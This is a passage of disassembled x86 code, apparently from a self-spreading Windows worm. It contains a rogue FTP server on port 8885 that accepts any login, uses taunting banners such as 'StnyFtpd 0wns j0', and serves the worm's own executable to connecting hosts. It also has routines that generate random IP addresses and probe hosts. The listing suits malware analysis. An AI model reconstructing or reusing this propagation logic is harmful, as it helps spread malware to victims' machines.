[ebp+var_4], ecx jmp short loc_4A6CDE ; --------------------------------------------------------------------------- loc_4A6CD5: ; CODE XREF: sub_4A6CB5+3Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4A6CDE: ; CODE XREF: sub_4A6CB5+1Ej mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4A6CF5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 40h jz short loc_4A6CF5 jmp short loc_4A6CD5 ; --------------------------------------------------------------------------- loc_4A6CF5: ; CODE XREF: sub_4A6CB5+31j ; sub_4A6CB5+3Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp edx, 40h jz short loc_4A6D10 xor eax, eax jmp loc_4A6D9C ; --------------------------------------------------------------------------- loc_4A6D10: ; CODE XREF: sub_4A6CB5+52j push 4Fh mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_27C] push edx call dword_4A1054 mov [ebp+var_228], 94h lea eax, [ebp+var_228] push eax call dword_4A1018 mov [ebp+var_22C], eax cmp [ebp+var_22C], 0 jnz short loc_4A6D50 mov eax, 25Eh jmp short loc_4A6D9C ; --------------------------------------------------------------------------- loc_4A6D50: ; CODE XREF: sub_4A6CB5+92j cmp [ebp+var_218], 2 jz short loc_4A6D69 cmp [ebp+var_218], 1 jz short loc_4A6D69 mov eax, 25Fh jmp short loc_4A6D9C ; --------------------------------------------------------------------------- loc_4A6D69: ; CODE XREF: sub_4A6CB5+A2j ; sub_4A6CB5+ABj cmp [ebp+var_218], 2 jnz short loc_4A6D87 mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+var_27C] push edx call sub_4A6A0A add esp, 8 jmp short loc_4A6D9A ; --------------------------------------------------------------------------- loc_4A6D87: ; CODE XREF: sub_4A6CB5+BBj mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_27C] push ecx call sub_4A6B78 add esp, 8 loc_4A6D9A: ; CODE XREF: sub_4A6CB5+D0j xor eax, eax loc_4A6D9C: ; CODE XREF: sub_4A6CB5+56j ; sub_4A6CB5+99j ... mov esp, ebp pop ebp retn sub_4A6CB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6DA0 proc near ; CODE XREF: sub_4A432B+7p arg_0 = dword ptr 8 push ebp mov ebp, esp loc_4A6DA3: ; CODE XREF: sub_4A6DA0+1Fj push 0 push offset dword_4A8FCC call dword_4A1134 test eax, eax jnz short loc_4A6DC1 push 4E20h call dword_4A1084 jmp short loc_4A6DA3 ; --------------------------------------------------------------------------- loc_4A6DC1: ; CODE XREF: sub_4A6DA0+12j mov eax, [ebp+arg_0] push eax call sub_4A6CB5 add esp, 4 pop ebp retn sub_4A6DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6DD0 proc near ; DATA XREF: MEW:004A327Co var_5E8 = byte ptr -5E8h var_5D0 = byte ptr -5D0h var_5A4 = dword ptr -5A4h var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_488 = byte ptr -488h var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = byte ptr -46Ch var_408 = byte ptr -408h var_3D4 = dword ptr -3D4h var_3D0 = byte ptr -3D0h var_39C = dword ptr -39Ch var_398 = word ptr -398h var_396 = word ptr -396h var_394 = dword ptr -394h var_388 = byte ptr -388h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_30C = byte ptr -30Ch var_308 = byte ptr -308h var_178 = dword ptr -178h var_174 = byte ptr -174h var_170 = byte ptr -170h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh push ebp mov ebp, esp sub esp, 5E8h push esi push edi mov [ebp+var_478], 1 mov [ebp+var_598], 1 mov [ebp+var_104], 0 mov [ebp+var_58C], 0 lea eax, [ebp+var_308] push eax push 101h call dword_4A1148 push 0 call dword_4A10B8 add esp, 4 push eax call dword_4A10CC add esp, 4 mov dword_4A9A9C, 22B5h push 0 push 1 push 2 call dword_4A1144 mov [ebp+var_39C], eax push 4 lea ecx, [ebp+var_478] push ecx push 4 push 0FFFFh mov edx, [ebp+var_39C] push edx call dword_4A1140 lea eax, [ebp+var_598] push eax push 8004667Eh mov ecx, [ebp+var_39C] push ecx call dword_4A1160 mov [ebp+var_398], 2 mov [ebp+var_394], 0 mov dx, word ptr dword_4A9A9C push edx call dword_4A113C mov [ebp+var_396], ax push 10h lea eax, [ebp+var_398] push eax mov ecx, [ebp+var_39C] push ecx call dword_4A1180 test eax, eax jge short loc_4A6EC8 mov eax, 1 jmp loc_4A765A ; --------------------------------------------------------------------------- loc_4A6EC8: ; CODE XREF: sub_4A6DD0+ECj push 0Ah mov edx, [ebp+var_39C] push edx call dword_4A117C loc_4A6ED7: ; CODE XREF: sub_4A6DD0+186j mov [ebp+var_59C], 0 jmp short loc_4A6EF2 ; --------------------------------------------------------------------------- loc_4A6EE3: ; CODE XREF: sub_4A6DD0:loc_4A6F17j mov eax, [ebp+var_59C] add eax, 1 mov [ebp+var_59C], eax loc_4A6EF2: ; CODE XREF: sub_4A6DD0+111j mov ecx, [ebp+var_59C] cmp ecx, [ebp+var_104] jnb short loc_4A6F19 mov edx, [ebp+var_59C] mov eax, [ebp+edx*4+var_100] cmp eax, [ebp+var_39C] jnz short loc_4A6F17 jmp short loc_4A6F19 ; --------------------------------------------------------------------------- loc_4A6F17: ; CODE XREF: sub_4A6DD0+143j jmp short loc_4A6EE3 ; --------------------------------------------------------------------------- loc_4A6F19: ; CODE XREF: sub_4A6DD0+12Ej ; sub_4A6DD0+145j mov ecx, [ebp+var_59C] cmp ecx, [ebp+var_104] jnz short loc_4A6F52 cmp [ebp+var_104], 40h jnb short loc_4A6F52 mov edx, [ebp+var_59C] mov eax, [ebp+var_39C] mov [ebp+edx*4+var_100], eax mov ecx, [ebp+var_104] add ecx, 1 mov [ebp+var_104], ecx loc_4A6F52: ; CODE XREF: sub_4A6DD0+155j ; sub_4A6DD0+15Ej xor edx, edx test edx, edx jnz loc_4A6ED7 mov eax, [ebp+var_39C] mov [ebp+var_178], eax loc_4A6F68: ; CODE XREF: sub_4A6DD0:loc_4A7650j mov ecx, 1 test ecx, ecx jz loc_4A7655 mov ecx, 41h lea esi, [ebp+var_104] lea edi, [ebp+var_58C] rep movsd push 0 push 0 push 0 lea edx, [ebp+var_58C] push edx mov eax, [ebp+var_178] add eax, 1 push eax call dword_4A1178 cmp eax, 0FFFFFFFFh jnz short loc_4A6FB4 mov eax, 1 jmp loc_4A765A ; --------------------------------------------------------------------------- loc_4A6FB4: ; CODE XREF: sub_4A6DD0+1D8j mov [ebp+var_474], 0 jmp short loc_4A6FCF ; --------------------------------------------------------------------------- loc_4A6FC0: ; CODE XREF: sub_4A6DD0:loc_4A764Bj mov ecx, [ebp+var_474] add ecx, 1 mov [ebp+var_474], ecx loc_4A6FCF: ; CODE XREF: sub_4A6DD0+1EEj mov edx, [ebp+var_474] cmp edx, [ebp+var_178] jg loc_4A7650 push 64h push 0 lea eax, [ebp+var_170] push eax call sub_4A890A add esp, 0Ch push 64h push 0 lea ecx, [ebp+var_46C] push ecx call sub_4A890A add esp, 0Ch lea edx, [ebp+var_58C] push edx mov eax, [ebp+var_474] push eax call sub_4A88FE test eax, eax jz loc_4A764B mov ecx, [ebp+var_474] cmp ecx, [ebp+var_39C] jnz loc_4A7126 mov [ebp+var_320], 10h lea edx, [ebp+var_320] push edx lea eax, [ebp+var_488] push eax mov ecx, [ebp+var_39C] push ecx call dword_4A1170 mov [ebp+var_590], eax cmp [ebp+var_590], 0FFFFFFFFh jz loc_4A7121 loc_4A706C: ; CODE XREF: sub_4A6DD0+31Bj mov [ebp+var_5A0], 0 jmp short loc_4A7087 ; --------------------------------------------------------------------------- loc_4A7078: ; CODE XREF: sub_4A6DD0:loc_4A70ACj mov edx, [ebp+var_5A0] add edx, 1 mov [ebp+var_5A0], edx loc_4A7087: ; CODE XREF: sub_4A6DD0+2A6j mov eax, [ebp+var_5A0] cmp eax, [ebp+var_104] jnb short loc_4A70AE mov ecx, [ebp+var_5A0] mov edx, [ebp+ecx*4+var_100] cmp edx, [ebp+var_590] jnz short loc_4A70AC jmp short loc_4A70AE ; --------------------------------------------------------------------------- loc_4A70AC: ; CODE XREF: sub_4A6DD0+2D8j jmp short loc_4A7078 ; --------------------------------------------------------------------------- loc_4A70AE: ; CODE XREF: sub_4A6DD0+2C3j ; sub_4A6DD0+2DAj mov eax, [ebp+var_5A0] cmp eax, [ebp+var_104] jnz short loc_4A70E7 cmp [ebp+var_104], 40h jnb short loc_4A70E7 mov ecx, [ebp+var_5A0] mov edx, [ebp+var_590] mov [ebp+ecx*4+var_100], edx mov eax, [ebp+var_104] add eax, 1 mov [ebp+var_104], eax loc_4A70E7: ; CODE XREF: sub_4A6DD0+2EAj ; sub_4A6DD0+2F3j xor ecx, ecx test ecx, ecx jnz loc_4A706C mov edx, [ebp+var_590] cmp edx, [ebp+var_178] jle short loc_4A710B mov eax, [ebp+var_590] mov [ebp+var_178], eax loc_4A710B: ; CODE XREF: sub_4A6DD0+32Dj push 0 push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" mov ecx, [ebp+var_590] push ecx call dword_4A115C loc_4A7121: ; CODE XREF: sub_4A6DD0+296j jmp loc_4A764B ; --------------------------------------------------------------------------- loc_4A7126: ; CODE XREF: sub_4A6DD0+25Ej push 0 push 64h lea edx, [ebp+var_170] push edx mov eax, [ebp+var_474] push eax call dword_4A1158 mov [ebp+var_470], eax cmp [ebp+var_470], 0 jg loc_4A71FD loc_4A7151: ; CODE XREF: sub_4A6DD0+415j mov [ebp+var_5A4], 0 jmp short loc_4A716C ; --------------------------------------------------------------------------- loc_4A715D: ; CODE XREF: sub_4A6DD0:loc_4A71DCj mov ecx, [ebp+var_5A4] add ecx, 1 mov [ebp+var_5A4], ecx loc_4A716C: ; CODE XREF: sub_4A6DD0+38Bj mov edx, [ebp+var_5A4] cmp edx, [ebp+var_104] jnb short loc_4A71E1 mov eax, [ebp+var_5A4] mov ecx, [ebp+eax*4+var_100] cmp ecx, [ebp+var_474] jnz short loc_4A71DC loc_4A718F: ; CODE XREF: sub_4A6DD0+3F9j mov edx, [ebp+var_104] sub edx, 1 cmp [ebp+var_5A4], edx jnb short loc_4A71CB mov eax, [ebp+var_5A4] mov ecx, [ebp+var_5A4] mov edx, [ebp+ecx*4+var_FC] mov [ebp+eax*4+var_100], edx mov eax, [ebp+var_5A4] add eax, 1 mov [ebp+var_5A4], eax jmp short loc_4A718F ; --------------------------------------------------------------------------- loc_4A71CB: ; CODE XREF: sub_4A6DD0+3CEj mov ecx, [ebp+var_104] sub ecx, 1 mov [ebp+var_104], ecx jmp short loc_4A71E1 ; --------------------------------------------------------------------------- loc_4A71DC: ; CODE XREF: sub_4A6DD0+3BDj jmp loc_4A715D ; --------------------------------------------------------------------------- loc_4A71E1: ; CODE XREF: sub_4A6DD0+3A8j ; sub_4A6DD0+40Aj xor edx, edx test edx, edx jnz loc_4A7151 mov eax, [ebp+var_474] push eax call dword_4A1190 jmp loc_4A764B ; --------------------------------------------------------------------------- loc_4A71FD: ; CODE XREF: sub_4A6DD0+37Bj lea ecx, [ebp+var_388] push ecx lea edx, [ebp+var_46C] push edx push offset aSS ; "%s %s" lea eax, [ebp+var_170] push eax call dword_4A10BC add esp, 10h push offset aUser ; "USER" lea ecx, [ebp+var_46C] push ecx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A7253 push 0 push 16h push offset a331PasswordReq ; "331 Password required\n" mov edx, [ebp+var_474] push edx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A7253: ; CODE XREF: sub_4A6DD0+466j push offset aPass ; "PASS" lea eax, [ebp+var_46C] push eax call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A7286 push 0 push 14h push offset a230UserLoggedI ; "230 User logged in.\n" mov ecx, [ebp+var_474] push ecx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A7286: ; CODE XREF: sub_4A6DD0+499j push offset aSyst ; "SYST" lea edx, [ebp+var_46C] push edx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A72B9 push 0 push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" mov eax, [ebp+var_474] push eax call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A72B9: ; CODE XREF: sub_4A6DD0+4CCj push offset aRest ; "REST" lea ecx, [ebp+var_46C] push ecx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A72EC push 0 push 10h push offset a350Restarting_ ; "350 Restarting.\n" mov edx, [ebp+var_474] push edx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A72EC: ; CODE XREF: sub_4A6DD0+4FFj push offset aPwd ; "PWD" lea eax, [ebp+var_46C] push eax call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A731F push 0 push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" mov ecx, [ebp+var_474] push ecx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A731F: ; CODE XREF: sub_4A6DD0+532j push offset aType ; "TYPE" lea edx, [ebp+var_46C] push edx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A736A push offset aA ; "A" lea eax, [ebp+var_388] push eax call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A736A push 0 push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" mov ecx, [ebp+var_474] push ecx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A736A: ; CODE XREF: sub_4A6DD0+565j ; sub_4A6DD0+57Dj push offset aType ; "TYPE" lea edx, [ebp+var_46C] push edx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A73B5 push offset aI ; "I" lea eax, [ebp+var_388] push eax call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A73B5 push 0 push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" mov ecx, [ebp+var_474] push ecx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A73B5: ; CODE XREF: sub_4A6DD0+5B0j ; sub_4A6DD0+5C8j push offset aPasv ; "PASV" lea edx, [ebp+var_46C] push edx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A740C mov ecx, 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... lea edi, [ebp+var_5D0] rep movsd movsw push 0 lea eax, [ebp+var_5D0] push eax call sub_4A8910 add esp, 4 push eax lea ecx, [ebp+var_5D0] push ecx mov edx, [ebp+var_474] push edx call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A740C: ; CODE XREF: sub_4A6DD0+5FBj push offset aList ; "LIST" lea eax, [ebp+var_46C] push eax call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A7464 mov ecx, 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" lea edi, [ebp+var_5E8] rep movsd movsw movsb push 0 lea ecx, [ebp+var_5E8] push ecx call sub_4A8910 add esp, 4 push eax lea edx, [ebp+var_5E8] push edx mov eax, [ebp+var_474] push eax call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A7464: ; CODE XREF: sub_4A6DD0+652j push offset aPort ; "PORT" lea ecx, [ebp+var_46C] push ecx call sub_4A8960 add esp, 8 test eax, eax jnz loc_4A7587 lea edx, [ebp+var_408] push edx lea eax, [ebp+var_3D0] push eax lea ecx, [ebp+var_30C] push ecx lea edx, [ebp+var_174] push edx lea eax, [ebp+var_10C] push eax lea ecx, [ebp+var_108] push ecx push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... lea edx, [ebp+var_170] push edx call dword_4A10BC add esp, 20h lea eax, [ebp+var_3D0] push eax call dword_4A109C add esp, 4 mov [ebp+var_324], eax lea ecx, [ebp+var_408] push ecx call dword_4A109C add esp, 4 mov [ebp+var_594], eax push 32h push 0 lea edx, [ebp+var_3D0] push edx call sub_4A890A add esp, 0Ch mov eax, [ebp+var_594] push eax mov ecx, [ebp+var_324] push ecx push offset aXX ; "%x%x\n" lea edx, [ebp+var_3D0] push edx call dword_4A10AC add esp, 10h push 10h push 0 lea eax, [ebp+var_3D0] push eax call dword_4A10C4 add esp, 0Ch mov [ebp+var_3D4], eax lea ecx, [ebp+var_30C] push ecx lea edx, [ebp+var_174] push edx lea eax, [ebp+var_10C] push eax lea ecx, [ebp+var_108] push ecx push offset aS_S_S_S ; "%s.%s.%s.%s" lea edx, [ebp+var_31C] push edx call dword_4A10AC add esp, 18h push 0 push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" mov eax, [ebp+var_474] push eax call dword_4A115C jmp loc_4A7638 ; --------------------------------------------------------------------------- loc_4A7587: ; CODE XREF: sub_4A6DD0+6AAj push offset aRetr ; "RETR" lea ecx, [ebp+var_46C] push ecx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A760A push 0 push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... mov edx, [ebp+var_474] push edx call dword_4A115C mov eax, [ebp+var_3D4] push eax lea ecx, [ebp+var_31C] push ecx call sub_4A7662 add esp, 8 cmp eax, 1 jnz short loc_4A75F2 call sub_4A76E8 cmp eax, 1 jnz short loc_4A75F0 push 0 push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" mov edx, [ebp+var_474] push edx call dword_4A115C loc_4A75F0: ; CODE XREF: sub_4A6DD0+808j jmp short loc_4A7608 ; --------------------------------------------------------------------------- loc_4A75F2: ; CODE XREF: sub_4A6DD0+7FEj push 0 push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" mov eax, [ebp+var_474] push eax call dword_4A115C loc_4A7608: ; CODE XREF: sub_4A6DD0:loc_4A75F0j jmp short loc_4A7638 ; --------------------------------------------------------------------------- loc_4A760A: ; CODE XREF: sub_4A6DD0+7CDj push offset aQuit ; "QUIT" lea ecx, [ebp+var_46C] push ecx call sub_4A8960 add esp, 8 test eax, eax jnz short loc_4A7638 push 0 push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" mov edx, [ebp+var_474] push edx call dword_4A115C loc_4A7638: ; CODE XREF: sub_4A6DD0+47Ej ; sub_4A6DD0+4B1j ... push 64h push 0 lea eax, [ebp+var_170] push eax call sub_4A890A add esp, 0Ch loc_4A764B: ; CODE XREF: sub_4A6DD0+24Cj ; sub_4A6DD0:loc_4A7121j ... jmp loc_4A6FC0 ; --------------------------------------------------------------------------- loc_4A7650: ; CODE XREF: sub_4A6DD0+20Bj jmp loc_4A6F68 ; --------------------------------------------------------------------------- loc_4A7655: ; CODE XREF: sub_4A6DD0+19Fj mov eax, 1 loc_4A765A: ; CODE XREF: sub_4A6DD0+F3j ; sub_4A6DD0+1DFj pop edi pop esi mov esp, ebp pop ebp retn 4 sub_4A6DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7662 proc near ; CODE XREF: sub_4A6DD0+7F3p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4A1148 push 0 push 1 push 2 call dword_4A1144 mov dword_4A9A98, eax mov [ebp+var_10], 2 mov ecx, [ebp+arg_0] push ecx call dword_4A1150 mov [ebp+var_C], eax mov dx, [ebp+arg_4] push edx call dword_4A113C mov [ebp+var_E], ax push 10h lea eax, [ebp+var_10] push eax mov ecx, dword_4A9A98 push ecx call dword_4A1168 cmp eax, 0FFFFFFFFh jnz short loc_4A76DF mov edx, dword_4A9A98 push edx call dword_4A1190 call dword_4A1184 xor eax, eax jmp short loc_4A76E4 ; --------------------------------------------------------------------------- loc_4A76DF: ; CODE XREF: sub_4A7662+64j mov eax, 1 loc_4A76E4: ; CODE XREF: sub_4A7662+7Bj mov esp, ebp pop ebp retn sub_4A7662 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A76E8 proc near ; CODE XREF: sub_4A6DD0+800p var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 50Ch push 104h lea eax, [ebp+var_108] push eax push 0 call dword_4A107C push offset aRb ; "rb" lea ecx, [ebp+var_108] push ecx call dword_4A1100 add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4A772A xor eax, eax jmp loc_4A77AD ; --------------------------------------------------------------------------- loc_4A772A: ; CODE XREF: sub_4A76E8+39j ; sub_4A76E8+9Ej mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10h test eax, eax jnz short loc_4A7788 mov ecx, [ebp+var_4] push ecx push 400h push 1 lea edx, [ebp+var_508] push edx call dword_4A10B4 add esp, 10h mov [ebp+var_50C], eax cmp [ebp+var_50C], 0 jle short loc_4A777E push 0 mov eax, [ebp+var_50C] push eax lea ecx, [ebp+var_508] push ecx mov edx, dword_4A9A98 push edx call dword_4A115C loc_4A777E: ; CODE XREF: sub_4A76E8+77j push 1 call dword_4A1084 jmp short loc_4A772A ; --------------------------------------------------------------------------- loc_4A7788: ; CODE XREF: sub_4A76E8+4Dj mov eax, [ebp+var_4] push eax call dword_4A10A0 add esp, 4 mov ecx, dword_4A9A98 push ecx call dword_4A1190 call dword_4A1184 mov eax, 1 loc_4A77AD: ; CODE XREF: sub_4A76E8+3Dj mov esp, ebp pop ebp retn sub_4A76E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A77B1 proc near ; CODE XREF: sub_4A8423+148p ; sub_4A85C7+99p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], 0FFFFFFFFh mov [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], 0FFFFFFFFh mov [ebp+var_10], 0FFFFFFFFh mov eax, [ebp+arg_0] push eax call sub_4A8910 add esp, 4 cmp eax, 11h jbe short loc_4A77E8 xor eax, eax jmp short loc_4A7861 ; --------------------------------------------------------------------------- loc_4A77E8: ; CODE XREF: sub_4A77B1+31j lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+var_8] push eax lea ecx, [ebp+var_4] push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" mov edx, [ebp+arg_0] push edx call dword_4A10BC add esp, 18h cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4A7819 call dword_4A1114 mov [ebp+var_4], eax loc_4A7819: ; CODE XREF: sub_4A77B1+5Dj cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_4A7828 call dword_4A1114 mov [ebp+var_8], eax loc_4A7828: ; CODE XREF: sub_4A77B1+6Cj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4A7837 call dword_4A1114 mov [ebp+var_C], eax loc_4A7837: ; CODE XREF: sub_4A77B1+7Bj cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_4A7846 call dword_4A1114 mov [ebp+var_10], eax loc_4A7846: ; CODE XREF: sub_4A77B1+8Aj mov eax, [ebp+var_8] shl eax, 8 mov ecx, [ebp+var_4] add ecx, eax mov edx, [ebp+var_C] shl edx, 10h add ecx, edx mov eax, [ebp+var_10] shl eax, 18h add eax, ecx loc_4A7861: ; CODE XREF: sub_4A77B1+35j mov esp, ebp pop ebp retn sub_4A77B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7865 proc near ; CODE XREF: sub_4A8423+15Cp ; sub_4A85C7+ADp ... var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch mov [ebp+var_128], 1 push 0 push 1 push 2 call dword_4A1144 mov [ebp+var_118], eax cmp [ebp+var_118], 0FFFFFFFFh jnz short loc_4A789A xor eax, eax jmp loc_4A79CF ; --------------------------------------------------------------------------- loc_4A789A: ; CODE XREF: sub_4A7865+2Cj mov [ebp+var_114], 2 mov eax, [ebp+arg_0] mov [ebp+var_110], eax mov cx, [ebp+arg_4] push ecx call dword_4A113C mov [ebp+var_112], ax lea edx, [ebp+var_128] push edx push 8004667Eh mov eax, [ebp+var_118] push eax call dword_4A1160 push 10h lea ecx, [ebp+var_114] push ecx mov edx, [ebp+var_118] push edx call dword_4A1168 mov [ebp+var_104], 0 loc_4A78F7: ; CODE XREF: sub_4A7865+111j mov [ebp+var_12C], 0 jmp short loc_4A7912 ; --------------------------------------------------------------------------- loc_4A7903: ; CODE XREF: sub_4A7865:loc_4A7937j mov eax, [ebp+var_12C] add eax, 1 mov [ebp+var_12C], eax loc_4A7912: ; CODE XREF: sub_4A7865+9Cj mov ecx, [ebp+var_12C] cmp ecx, [ebp+var_104] jnb short loc_4A7939 mov edx, [ebp+var_12C] mov eax, [ebp+edx*4+var_100] cmp eax, [ebp+var_118] jnz short loc_4A7937 jmp short loc_4A7939 ; --------------------------------------------------------------------------- loc_4A7937: ; CODE XREF: sub_4A7865+CEj jmp short loc_4A7903 ; --------------------------------------------------------------------------- loc_4A7939: ; CODE XREF: sub_4A7865+B9j ; sub_4A7865+D0j mov ecx, [ebp+var_12C] cmp ecx, [ebp+var_104] jnz short loc_4A7972 cmp [ebp+var_104], 40h jnb short loc_4A7972 mov edx, [ebp+var_12C] mov eax, [ebp+var_118] mov [ebp+edx*4+var_100], eax mov ecx, [ebp+var_104] add ecx, 1 mov [ebp+var_104], ecx loc_4A7972: ; CODE XREF: sub_4A7865+E0j ; sub_4A7865+E9j xor edx, edx test edx, edx jnz loc_4A78F7 mov [ebp+var_120], 6 mov [ebp+var_11C], 0 lea eax, [ebp+var_120] push eax push 0 lea ecx, [ebp+var_104] push ecx push 0 push 0 call dword_4A1178 mov [ebp+var_124], eax mov edx, [ebp+var_118] push edx call dword_4A1190 cmp [ebp+var_124], 0 jg short loc_4A79CA xor eax, eax jmp short loc_4A79CF ; --------------------------------------------------------------------------- loc_4A79CA: ; CODE XREF: sub_4A7865+15Fj mov eax, 1 loc_4A79CF: ; CODE XREF: sub_4A7865+30j ; sub_4A7865+163j mov esp, ebp pop ebp retn sub_4A7865 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A79D3 proc near ; CODE XREF: sub_4A7C89+59Dp var_88C = dword ptr -88Ch var_888 = dword ptr -888h var_884 = dword ptr -884h var_880 = byte ptr -880h var_6F0 = byte ptr -6F0h var_68C = byte ptr -68Ch var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = byte ptr -274h var_210 = byte ptr -210h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 88Ch push 200h lea eax, [ebp+var_210] push eax call dword_4A118C cmp eax, 0FFFFFFFFh jz loc_4A7B35 lea ecx, [ebp+var_210] push ecx call dword_4A114C mov [ebp+var_884], eax cmp [ebp+var_884], 0 jz loc_4A7B35 mov edx, [ebp+var_884] mov eax, [edx+0Ch] cmp dword ptr [eax], 0 jz loc_4A7B35 push 4 mov ecx, [ebp+var_884] mov edx, [ecx+0Ch] mov eax, [edx] push eax lea ecx, [ebp+var_888] push ecx call sub_4A891C add esp, 0Ch mov edx, [ebp+var_888] push edx call dword_4A1188 push eax push offset aS_0 ; "%s" lea eax, [ebp+var_210] push eax call dword_4A10AC add esp, 0Ch lea ecx, [ebp+var_210] push ecx lea edx, [ebp+var_274] push edx call dword_4A10AC add esp, 8 push offset a__0 ; "." lea eax, [ebp+var_210] push eax call dword_4A10B0 add esp, 8 mov [ebp+var_88C], eax mov ecx, [ebp+var_88C] push ecx call dword_4A109C add esp, 4 mov [ebp+var_280], eax push offset a__0 ; "." push 0 call dword_4A10B0 add esp, 8 mov [ebp+var_88C], eax mov edx, [ebp+var_88C] push edx call dword_4A109C add esp, 4 mov [ebp+var_27C], eax push offset a__0 ; "." push 0 call dword_4A10B0 add esp, 8 mov [ebp+var_88C], eax mov eax, [ebp+var_88C] push eax call dword_4A109C add esp, 4 mov [ebp+var_28C], eax push offset a__0 ; "." push 0 call dword_4A10B0 add esp, 8 mov [ebp+var_88C], eax mov ecx, [ebp+var_88C] push ecx call dword_4A109C add esp, 4 mov [ebp+var_284], eax loc_4A7B35: ; CODE XREF: sub_4A79D3+1Ej ; sub_4A79D3+3Ej ... mov edx, [ebp+var_284] push edx mov eax, [ebp+var_28C] push eax mov ecx, [ebp+var_27C] push ecx mov edx, [ebp+var_280] push edx push offset aI_I_I_I ; "%i.%i.%i.%i" lea eax, [ebp+var_6F0] push eax call dword_4A10AC add esp, 18h push 10h push 0 lea ecx, [ebp+var_10] push ecx call sub_4A890A add esp, 0Ch mov [ebp+var_10], 2 mov edx, 